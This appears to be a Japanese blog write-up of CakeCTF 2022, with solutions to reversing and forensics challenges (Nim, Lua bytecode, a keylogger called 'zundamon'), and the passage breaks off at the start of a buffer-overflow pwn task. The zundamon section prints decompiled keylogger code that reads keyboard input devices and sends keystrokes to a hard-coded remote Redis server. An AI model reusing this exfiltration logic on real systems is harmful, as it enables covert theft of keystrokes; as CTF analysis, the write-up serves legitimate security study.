st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CakeCTF 2022 writeup

9/3 - 9/4という日程で開催された。ひとりチーム( 'ᾥ' )で出て10位🍰 今回は裏番組としてBalsn CTFが開催されていたからかはしらんけど、上位チームにソロのチームが多くて、私が把握しているだけでも、上位15チームのうちなんと私を含めた9チームがソロだった。世の中にはオールラウンダーがいっぱいいてこわい。

InterKosenCTFという名前だった頃から問題のクオリティは高かったけれども、さらに面白くなっていてとても楽しめた。が、今年はWeb問を全完できなかったのが大変悔しい。残っていたのはWebのImageSurfingという php://filter を最大限活用する問題で、International Cybersecurity Challengeでも似たような問題を落としてしまったのもあって*1*2余計に悔しい。チーム名と同じ表情で画面と向き合っていた。ン~~~~。

リンク:

(2022-10-18追記)賞品(湯呑、タオル、クリアファイル)が届いた。かわいい。

クリアファイルに書かれているのはRubyのQuine。実はフラグが仕込まれていて、ゴニョゴニョすると CakeCTF{2022} というフラグが得られる。


[welcome 46] Welcome (676 solves)

Get the flag in Discord

ということでDiscordサーバに入るとフラグがもらえる。

CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}

[survey 71] Survey (226 solves)

Solving this challenge won't update the flag submission timestamp. So, take enough time to fill the survey!

ということでアンケートに答えるとフラグがもらえる。


なぜかnimrevよりもsolvesが少なかったアンケート問。

[rev 68] nimrev (246 solves)

Have you ever analysed programs written in languages other than C/C++?

添付ファイル: nimrev_91d94cdd51fd142d556030242fcab6d7.tar.gz

問題名からNim製なんだろうなあと察する。添付ファイルを展開すると chall というx86_64のELFが出てくるが、これは入力した文字列がフラグであるかどうかをチェックしてくれるバイナリっぽい。

$ ./chall
hoge
Wrong...

x86_64ということはフリー版のIDAでもデコンパイルができる。まず main から見ていくと、NimMain という関数が呼び出されていることが分かる。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  cmdLine = (__int64)argv;
  cmdCount = argc;
  gEnv = (__int64)envp;
  NimMain();
  return nim_program_result;
}

NimMain はこんな感じ。

unsigned __int64 NimMain()
{
  void (*v1)(void); // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  PreMain();
  v1 = (void (*)(void))NimMainInner;
  initStackBottomWith(&v1);
  v1();
  return v2 - __readfsqword(0x28u);
}

さらに NimMainInner を見ると、中で NimMainModule が呼び出されている。NimMainModule を見ると、v4 + 16 から始まるバイト列が明らかに怪しい。map_main_11 にそのバイト列と colonanonymous__main_7 という関数が引数として渡されているけれども、結局のところはそのバイト列の各バイトをビット反転しているだけだ。

__int64 __fastcall colonanonymous__main_7(char a1)
{
  return (unsigned __int8)~a1;
}

__int64 __fastcall map_main_11(__int64 a1, __int64 a2, __int64 (__fastcall *a3)(_QWORD), __int64 a4)
{
  char v4; // al
  __int64 i; // [rsp+20h] [rbp-20h]
  __int64 v9; // [rsp+28h] [rbp-18h]

  v9 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, a2);
  for ( i = 0LL; i < a2; ++i )
  {
    if ( a4 )
      v4 = ((__int64 (__fastcall *)(_QWORD, __int64))a3)((unsigned int)*(char *)(i + a1), a4);
    else
      v4 = a3((unsigned int)*(char *)(i + a1));
    *(_BYTE *)(v9 + i + 16) = v4;
  }
  return v9;
}

unsigned __int64 NimMainModule()
{
  __int64 v0; // rsi
  __int64 v1; // rax
  __int64 Line_systemZio_271; // [rsp+0h] [rbp-40h]
  __int64 v4; // [rsp+8h] [rbp-38h]
  __int64 *v5; // [rsp+10h] [rbp-30h]
  __int64 v6; // [rsp+18h] [rbp-28h]
  __int64 (__fastcall *v7)(); // [rsp+20h] [rbp-20h] BYREF
  __int64 v8; // [rsp+28h] [rbp-18h]
  __int64 v9; // [rsp+30h] [rbp-10h] BYREF
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  nimZeroMem_0(&v9, 8LL);
  Line_systemZio_271 = readLine_systemZio_271(stdin);
  v4 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, 24LL);
  *(_BYTE *)(v4 + 16) = 0xBC;
  *(_BYTE *)(v4 + 17) = 0x9E;
  *(_BYTE *)(v4 + 18) = 0x94;
  *(_BYTE *)(v4 + 19) = 0x9A;
  *(_BYTE *)(v4 + 20) = 0xBC;
  *(_BYTE *)(v4 + 21) = 0xAB;
  *(_BYTE *)(v4 + 22) = 0xB9;
  *(_BYTE *)(v4 + 23) = 0x84;
  *(_BYTE *)(v4 + 24) = 0x8C;
  *(_BYTE *)(v4 + 25) = 0xCF;
  *(_BYTE *)(v4 + 26) = 0x92;
  *(_BYTE *)(v4 + 27) = 0xCC;
  *(_BYTE *)(v4 + 28) = 0x8B;
  *(_BYTE *)(v4 + 29) = 0xCE;
  *(_BYTE *)(v4 + 30) = 0x92;
  *(_BYTE *)(v4 + 31) = 0xCC;
  *(_BYTE *)(v4 + 32) = 0x8C;
  *(_BYTE *)(v4 + 33) = 0xA0;
  *(_BYTE *)(v4 + 34) = 0x91;
  *(_BYTE *)(v4 + 35) = 0xCF;
  *(_BYTE *)(v4 + 36) = 0x8B;
  *(_BYTE *)(v4 + 37) = 0xA0;
  *(_BYTE *)(v4 + 38) = 0xBC;
  *(_BYTE *)(v4 + 39) = 0x82;
  nimZeroMem_0(&v7, 16LL);
  v7 = colonanonymous__main_7;
  v8 = 0LL;
  if ( v4 )
    v0 = *(_QWORD *)v4;
  else
    v0 = 0LL;
  v5 = (__int64 *)map_main_11(v4 + 16, v0, v7, v8);
  if ( v5 )
    v1 = *v5;
  else
    v1 = 0LL;
  v6 = join_main_42(v5 + 2, v1, 0LL);
  if ( (unsigned __int8)eqStrings(Line_systemZio_271, v6) != 1 )
    v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_5);
  else
    v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_4);
  echoBinSafe(&v9, 1LL);
  return v10 - __readfsqword(0x28u);
}

CyberChefに投げるとよい。

CakeCTF{s0m3t1m3s_n0t_C}

[rev 121] luau (64 solves)

Aloha! This is a luau for reverse engineerers!

添付ファイル: luau_705482e0dbe2ae8bae1c6c752d635049.tar.gz

添付ファイルを展開すると main.lua, libflag.lua が出てくる。main.lua の方は libflag.lua から checkFlag という関数をインポートする普通のLuaコードなんだけれども、libflag.lua の方はバイナリっぽい。file コマンドに投げてみると、これは(luac が吐き出すような)Luaバイトコードであることがわかった。

$ cat main.lua
local libflag = require "libflag"
io.write("FLAG: ")
flag = io.read("*l")
if libflag.checkFlag(flag, "CakeCTF 2022") then
   print("Correct!")
else
   print("Wrong...")
end
$ xxd libflag.lua | head
00000000: 1b4c 7561 5300 1993 0d0a 1a0a 0408 0408  .LuaS...........
00000010: 0878 5600 0000 0000 0000 0000 0000 2877  .xV...........(w
00000020: 4001 0000 0000 0000 0000 0000 0202 0500  @...............
00000030: 0000 2c00 0000 4b40 0000 4a00 0080 6600  ..,...K@..J...f.
00000040: 0001 2600 8000 0100 0000 040a 6368 6563  ..&.........chec
00000050: 6b46 6c61 6701 0000 0001 0001 0000 0000  kFlag...........
00000060: 0100 0000 2000 0000 0200 296e 0000 008b  .... .....)n....
00000070: 0000 0dc1 0000 0001 4100 0041 8100 0081  ........A..A....
00000080: c100 00c1 0101 0001 4201 0041 8201 0081  ........B..A....
00000090: c201 00c1 0202 0001 4302 0041 8302 0081  ........C..A....
$ file *
libflag.lua: Lua bytecode,
main.lua:    ASCII text

適当にググって出てきた viruscamp/luadec というツールでデコンパイルを試みたが、セグフォってしまった。逆アセンブルだけなら大丈夫なので、その結果を libflag.dis に保存しておく。

$ luadec/luadec/luadec libflag.lua
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110
-- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
-- Command line: libflag.lua

Segmentation fault
$ luadec/luadec/luadec -dis libflag.lua > libflag.dis
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110

libflag.dis の内容は以下の通り。最初に初期化されているR2というバイト列がめちゃくちゃ怪しい。EQ が2回出現しているが、1回目はその直前に R2 の長さと第一引数の長さを比較していて、そこでまず一致していなければ return false している。2回目はおそらく1文字ずつ第一引数が正しいかチェックしていて、ここでもやはり一致していなければすぐに return false している。つまり、EQ が呼び出された回数が得られれば、第一引数のうち何文字が正しいかがわかる。

; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis libflag.lua

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
    5 [-]: LOADK     R7 K4        ; R7 := 47
    6 [-]: LOADK     R8 K5        ; R8 := 56
    7 [-]: LOADK     R9 K6        ; R9 := 118
    8 [-]: LOADK     R10 K7       ; R10 := 71
    9 [-]: LOADK     R11 K8       ; R11 := 109
   10 [-]: LOADK     R12 K9       ; R12 := 0
   11 [-]: LOADK     R13 K10      ; R13 := 90
   12 [-]: LOADK     R14 K7       ; R14 := 71
   13 [-]: LOADK     R15 K11      ; R15 := 115
   14 [-]: LOADK     R16 K12      ; R16 := 9
   15 [-]: LOADK     R17 K13      ; R17 := 30
   16 [-]: LOADK     R18 K14      ; R18 := 58
   17 [-]: LOADK     R19 K15      ; R19 := 32
   18 [-]: LOADK     R20 K16      ; R20 := 101
   19 [-]: LOADK     R21 K17      ; R21 := 40
   20 [-]: LOADK     R22 K18      ; R22 := 20
   21 [-]: LOADK     R23 K19      ; R23 := 66
   22 [-]: LOADK     R24 K20      ; R24 := 111
   23 [-]: LOADK     R25 K21      ; R25 := 3
   24 [-]: LOADK     R26 K22      ; R26 := 92
   25 [-]: LOADK     R27 K23      ; R27 := 119
   26 [-]: LOADK     R28 K24      ; R28 := 22
   27 [-]: LOADK     R29 K10      ; R29 := 90
   28 [-]: LOADK     R30 K25      ; R30 := 11
   29 [-]: LOADK     R31 K23      ; R31 := 119
   30 [-]: LOADK     R32 K26      ; R32 := 35
   31 [-]: LOADK     R33 K27      ; R33 := 61
   32 [-]: LOADK     R34 K28      ; R34 := 102
   33 [-]: LOADK     R35 K28      ; R35 := 102
   34 [-]: LOADK     R36 K11      ; R36 := 115
   35 [-]: LOADK     R37 K29      ; R37 := 87
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
   40 [-]: LEN       R3 R0        ; R3 := #R0
   41 [-]: LEN       R4 R2        ; R4 := #R2
   42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
   43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
   44 [-]: LOADBOOL  R3 0 0       ; R3 := false
   45 [-]: RETURN    R3 2         ; return R3
   46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
   47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
   48 [-]: LOADK     R5 K32       ; R5 := 1
   49 [-]: LEN       R6 R0        ; R6 := #R0
   50 [-]: LOADK     R7 K32       ; R7 := 1
   51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
   52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
   55 [-]: MOVE      R12 R8       ; R12 := R8
   56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
   60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
   61 [-]: LOADK     R5 K32       ; R5 := 1
   62 [-]: LEN       R6 R1        ; R6 := #R1
   63 [-]: LOADK     R7 K32       ; R7 := 1
   64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
   65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
   68 [-]: MOVE      R12 R8       ; R12 := R8
   69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
   73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
   74 [-]: LOADK     R5 K32       ; R5 := 1
   75 [-]: LEN       R6 R3        ; R6 := #R3
   76 [-]: LOADK     R7 K32       ; R7 := 1
   77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
   78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
   79 [-]: LEN       R10 R3       ; R10 := #R3
   80 [-]: LOADK     R11 K32      ; R11 := 1
   81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
   86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
   87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
   88 [-]: LOADK     R5 K32       ; R5 := 1
   89 [-]: LEN       R6 R3        ; R6 := #R3
   90 [-]: LOADK     R7 K32       ; R7 := 1
   91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
   99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
  100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
  101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
  102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
  103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
  104 [-]: LOADBOOL  R9 0 0       ; R9 := false
  105 [-]: RETURN    R9 2         ; return R9
  106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
  107 [-]: LOADBOOL  R5 1 0       ; R5 := true
  108 [-]: RETURN    R5 2         ; return R5
  109 [-]: RETURN    R0 1         ; return

EQ が呼ばれた回数をどうやって取得するかだが、これはバイトコードを実行するVMを改造してなんとかしたい。この程度の量なら真面目に読めばいいじゃんという話だけど、命令の実行回数が取れればよさそうとわかって謎命令列読むの面倒くさいスイッチが入ってしまった。

Lualvm.cVM周りの処理が集中しているので、そこで EQ が来たときの処理を探す。以下のように、EQ の実行回数(と、ついでにオペランド)を確認できるようにするパッチをあてる。rb->value_.i というメンバ名は lobject.h を確認してわかった。

--- old.c       2022-09-04 11:46:41.033906300 +0900
+++ new.c       2022-09-04 11:45:43.490968900 +0900
@@ -1084,6 +1084,7 @@
       vmcase(OP_EQ) {
         TValue *rb = RKB(i);
         TValue *rc = RKC(i);
+        printf("[DEBUG]%d %d\n", rb->value_.i, rc->value_.i);
         Protect(
           if (luaV_equalobj(L, rb, rc) != GETARG_A(i))
             ci->u.l.savedpc++;

コンパイルして実行する。確かに取得できている。

$ cd lua-5.3.3/src; make linux; cd ../..
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}" | ./lua-5.3.3/src/lua main.lua
FLAG: [DEBUG]38 38
[DEBUG]62 62
[DEBUG]32 85
Wrong...
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./lua-5.3.3/src/lua main.lua
FLAG: [DEBUG]38 38
[DEBUG]2 62
Wrong...

Pythonで1文字ずつブルートフォースするスクリプトを書く。

# coding: utf-8
import re
import subprocess
import string
import sys

table = list(string.printable.strip().replace("'", '').encode())
res = list(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
l = len(res)
p = re.compile(rb'\[DEBUG\](\d+) (\d+)')

def go(r):
    tmp = bytes(r).decode()
    return subprocess.check_output(f"echo '{tmp}' | lua-5.3.3/src/lua main.lua", shell=True)

for _ in range(l):
    # 初期状態の確認
    r = go(res)
    cnt = r.count(b'[DEBUG]')
    ds = p.findall(r)[-1]

    # 位置を探る
    for i in range(l):
        tmp = res[:]
        tmp[i] = 0x41

        r = go(tmp)
        if cnt == r.count(b'[DEBUG]') and ds != p.findall(r)[-1]:
            break
    else:
        print('wtf')
        sys.exit(1)

    # 正解の文字をブルートフォースで当てる
    for c in table:
        tmp = res[:]
        tmp[i] = c

        r = go(tmp)
        if r.count(b'[DEBUG]') > cnt:
            res[i] = c
            break

    print(bytes(res))

実行する。

$ python3 solve.py
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$r4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1r4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$l1r4}'
…
b'$$$$CTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$$$eCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$$keCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
$ lua main.lua
FLAG: CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
Correct!
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

[rev, forensics 204] zundamon (20 solves)

I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?

This program may harm your computer. Do not run it outside sandbox.

zundamon_6b0cd1ac946498fcd41bf245b324490e.tar.gz

添付ファイルを展開すると、zundamon というx86_64のELFと evidence.pcapng というファイルが出てくる。zundamon を実行している様子をキャプチャしたものが evidence.pcapng なのかな。フリー版のIDAに投げてデコンパイルする。main がこんな感じ。デーモン化している。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax

  v3 = getenv("I_AGREE_TO_RUN_POSSIBLE_MALWARE_FILE");
  if ( !v3 || strcmp(v3, "yes") )
  {
    puts("We can't let you run this program unless you understand what it is, nanoda!");
    exit(1);
  }
  if ( daemon(0, 0) )
    perror("Could not run the program, nanoda!");
  else
    mainloop();
  return 0;
}

先程の main から呼び出されていた mainloop を見ていく。ここで使われている source, sink, get_target_name, exfiltrate という関数が気になるので、ひとつひとつ見ていきたい。

void mainloop()
{
  int v0; // eax
  int v1; // r12d
  int v2; // eax
  int v3; // r13d
  ssize_t v4; // rsi
  char *v5; // rbx
  unsigned __int64 v6; // rbp
  __int64 v7; // [rsp+0h] [rbp-C48h] BYREF
  char v8; // [rsp+12h] [rbp-C36h] BYREF
  unsigned __int64 v9; // [rsp+C08h] [rbp-40h]

  v9 = __readfsqword(0x28u);
  v0 = source();
  if ( v0 != -1 )
  {
    v1 = v0;
    v2 = sink();
    v3 = v2;
    if ( v2 != -1 )
    {
      get_target_name(v2);
      while ( 1 )
      {
        v4 = read(v1, &v7, 0xC00uLL);
        if ( v4 < 0 )
          break;
        if ( v4 > 23 )
        {
          v5 = &v8;
          v6 = 0LL;
          do
          {
            if ( *((_WORD *)v5 - 1) == 1
              && *(_WORD *)v5
              && *(_DWORD *)(v5 + 2) <= 2u
              && (unsigned int)exfiltrate(v3) == -1 )
            {
              break;
            }
            ++v6;
            v5 += 24;
          }
          while ( v6 < v4 / 0x18uLL );
        }
      }
      close(v1);
      close(v3);
      exit(0);
    }
    if ( v9 == __readfsqword(0x28u) )
    {
      close(v1);
      return;
    }
    goto LABEL_18;
  }
  if ( v9 != __readfsqword(0x28u) )
LABEL_18:
    _libc_csu_init();
}

まずは source だが、なにやら /dev/input 下のデバイスファイルを使ってイベントを取得しようとしている。マウスか、キーボードか。

__int64 source()
{
  int v0; // eax
  unsigned __int64 v1; // rbx
  __int64 v2; // r13
  unsigned int v3; // ebp
  unsigned __int64 v4; // rbx
  struct dirent *v5; // rdi
  int v7; // [rsp+4h] [rbp-2044h] BYREF
  struct dirent **namelist; // [rsp+8h] [rbp-2040h] BYREF
  char file[16]; // [rsp+10h] [rbp-2038h] BYREF
  char v10[16]; // [rsp+1010h] [rbp-1038h] BYREF
  unsigned __int64 v11; // [rsp+2018h] [rbp-30h]

  v11 = __readfsqword(0x28u);
  v0 = scandir("/dev/input", &namelist, is_char, (int (*)(const struct dirent **, const struct dirent **))&alphasort);
  if ( v0 < 0 )
  {
    v3 = -1;
  }
  else
  {
    if ( v0 )
    {
      v1 = 0LL;
      v2 = 8LL * v0;
      do
      {
        v7 = 0;
        __snprintf_chk(file, 4096LL, 1LL, 4096LL, "%s/%s", "/dev/input", namelist[v1 / 8]->d_name);
        v3 = open(file, 0);
        if ( v3 != -1 )
        {
          ioctl(v3, 0x80044520uLL, &v7);
          if ( (v7 & 1) != 0 )
          {
            ioctl(v3, 0x80044521uLL, &v7);
            if ( (v7 & 0x3E) == 62 )
            {
              ioctl(v3, 0x90004507uLL, v10);
              if ( v10[0] )
                goto LABEL_10;
            }
          }
          close(v3);
        }
        v1 += 8LL;
      }
      while ( v2 != v1 );
      v3 = -1;
LABEL_10:
      v4 = 0LL;
      do
      {
        v5 = namelist[v4 / 8];
        v4 += 8LL;
        free(v5);
      }
      while ( v2 != v4 );
    }
    else
    {
      v3 = -1;
    }
    free(namelist);
  }
  if ( v11 == __readfsqword(0x28u) )
    return v3;
  else
    return sink();
}

続いて sink を見ていく。164.70.70.96379/tcp に接続できるかどうかを確認している様子がわかる。送信している *1\r\n$4\r\nPING\r\n という文字列はRESPっぽいし、そのポート番号や PONG というレスポンスがあるかどうか確認しているところからも相手はRedisサーバっぽい。

__int64 sink()
{
  int v0; // edi
  int v1; // eax
  unsigned int v2; // r12d
  struct sockaddr v4; // [rsp+0h] [rbp-38h] BYREF
  int buf; // [rsp+10h] [rbp-28h] BYREF
  char v6; // [rsp+14h] [rbp-24h]
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v0 = 2;
  v7 = __readfsqword(0x28u);
  v1 = socket(2, 1, 0);
  if ( v1 < 0 )
  {
    v2 = -1;
  }
  else
  {
    v2 = v1;
    *(_DWORD *)&v4.sa_family = 0xEB180002;
    *(_DWORD *)&v4.sa_data[2] = inet_addr("164.70.70.9");
    connect(v2, &v4, 0x10u);
    if ( write(v2, "*1\r\n$4\r\nPING\r\n", 0xEuLL) < 0
      || (v0 = v2, read(v2, &buf, 5uLL) < 0)
      || buf != 0x4E4F502B
      || v6 != 71 )
    {
      v0 = v2;
      v2 = -1;
      close(v0);
    }
  }
  if ( v7 == __readfsqword(0x28u) )
    return v2;
  else
    return get_target_name(v0);
}

get_target_name を見ていく。ioctl(fd, 0x8927uLL, dest); (0x8927uLLSIOCGIFHWADDR) という処理から見てもMACアドレスを確認していそう。

__int64 __fastcall get_target_name(int fd)
{
  struct ifaddrs *v1; // r12
  struct ifaddrs *v2; // rax
  struct sockaddr *ifa_addr; // rdx
  const char *ifa_name; // rsi
  __int64 result; // rax
  socklen_t len; // [rsp+4h] [rbp-64h] BYREF
  struct ifaddrs *ifap; // [rsp+8h] [rbp-60h] BYREF
  struct sockaddr addr; // [rsp+10h] [rbp-58h] BYREF
  char dest[8]; // [rsp+20h] [rbp-48h] BYREF
  int v10; // [rsp+28h] [rbp-40h]
  __int16 v11; // [rsp+2Ch] [rbp-3Ch]
  char v12; // [rsp+2Eh] [rbp-3Ah]
  __int16 v13; // [rsp+30h] [rbp-38h]
  unsigned __int8 v14; // [rsp+32h] [rbp-36h]
  unsigned __int8 v15; // [rsp+33h] [rbp-35h]
  unsigned __int8 v16; // [rsp+34h] [rbp-34h]
  unsigned __int8 v17; // [rsp+35h] [rbp-33h]
  unsigned __int8 v18; // [rsp+36h] [rbp-32h]
  unsigned __int8 v19; // [rsp+37h] [rbp-31h]
  unsigned __int64 v20; // [rsp+48h] [rbp-20h]

  v20 = __readfsqword(0x28u);
  v11 = 0;
  v13 = 2;
  *(_QWORD *)dest = 812151909LL;
  v10 = 0;
  v12 = 0;
  len = 16;
  getsockname(fd, &addr, &len);
  getifaddrs(&ifap);
  v1 = ifap;
  v2 = ifap;
  if ( ifap )
  {
    while ( 1 )
    {
      ifa_addr = v2->ifa_addr;
      if ( ifa_addr )
      {
        if ( ifa_addr->sa_family == 2 && *(_DWORD *)&ifa_addr->sa_data[2] == *(_DWORD *)&addr.sa_data[2] )
        {
          ifa_name = v2->ifa_name;
          if ( ifa_name )
            break;
        }
      }
      v2 = v2->ifa_next;
      if ( !v2 )
        goto LABEL_9;
    }
    strncpy(dest, ifa_name, 0xFuLL);
  }
LABEL_9:
  freeifaddrs(v1);
  ioctl(fd, 0x8927uLL, dest);
  __snprintf_chk(mac, 18LL, 1LL, 18LL, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", v14, v15, v16, v17, v18, v19);
  result = v20 - __readfsqword(0x28u);
  if ( result )
    return exfiltrate((int)mac);
  return result;
}

最後に exfiltrate を見ていく。これは引数として与えられた文字列を先程のRedisサーバに(MACアドレスをキーとして) RPUSH で送りつける関数っぽい。

void __fastcall exfiltrate(int fd, char a2, const void *a3)
{
  size_t v4; // rax
  size_t v5; // rax
  char buf[4]; // [rsp+Ch] [rbp-ACh] BYREF
  char s[136]; // [rsp+10h] [rbp-A8h] BYREF
  unsigned __int64 v8; // [rsp+98h] [rbp-20h]

  buf[0] = a2;
  v8 = __readfsqword(0x28u);
  if ( write(fd, "*3\r\n$5\r\nRPUSH\r\n", 0xFuLL) >= 0 )
  {
    v4 = strlen(mac);
    __snprintf_chk(s, 128LL, 1LL, 128LL, "$%ld\r\n%s\r\n", v4, mac);
    v5 = strlen(s);
    if ( write(fd, s, v5) >= 0
      && write(fd, "$3\r\n", 4uLL) >= 0
      && write(fd, a3, 2uLL) >= 0
      && write(fd, buf, 1uLL) >= 0 )
    {
      write(fd, "\r\n", 2uLL);
    }
  }
  if ( v8 != __readfsqword(0x28u) )
    mainloop();
}

zundamon がどういう挙動をするかはわかったので、ソルバを書いていく。とりあえずこれがキーロガーだということにして、どんなキーが押されているか出力するスクリプトにしたい。以下はググるとヒットするwriteupのキーマップをありがたく利用しつつ、Scapyでパケットを読んでいくスクリプト

# coding: utf-8
import struct
from keymap import get_key # https://ctftime.org/writeup/21148
from scapy.all import *

shift = False
for pkt in PcapReader('evidence.pcapng'):
    if TCP not in pkt:
        continue

    if pkt[TCP].dport != 6379:
        continue

    payload = bytes(pkt[TCP])[32:]
    if b'd8:f2:ca:ce:44:8d' not in payload:
        continue
    payload = payload[payload.index(b'$3\r\n')+4:]
    event = payload.split(b'\r\n')[0]
    code, x = event[0], event[2]

    key = get_key(code)
    if key == 'LEFTSHIFT':
        if x == 1:
            shift = True
        else:
            shift = False

    print(x, int(shift), key)

実行して1文字ずつ追っていくとフラグが得られる。

CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}

ずんだもんなのだ。

[pwn 105] str.vs.cstr (88 solves)

Which do you like, C string or C++ string?

nc pwn1.2022.cakectf.com 9003

添付ファイル: str_vs_cstr_f088c31cd2d3c18483e24f38df724cad.tar.gz

添付ファイルを展開すると、chall というx86_64のELFと、そのソースコードである main.c が出てくる。main.c は以下のような内容だが、1. set c_str を選択した場合で明らかにBOFができる。

#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
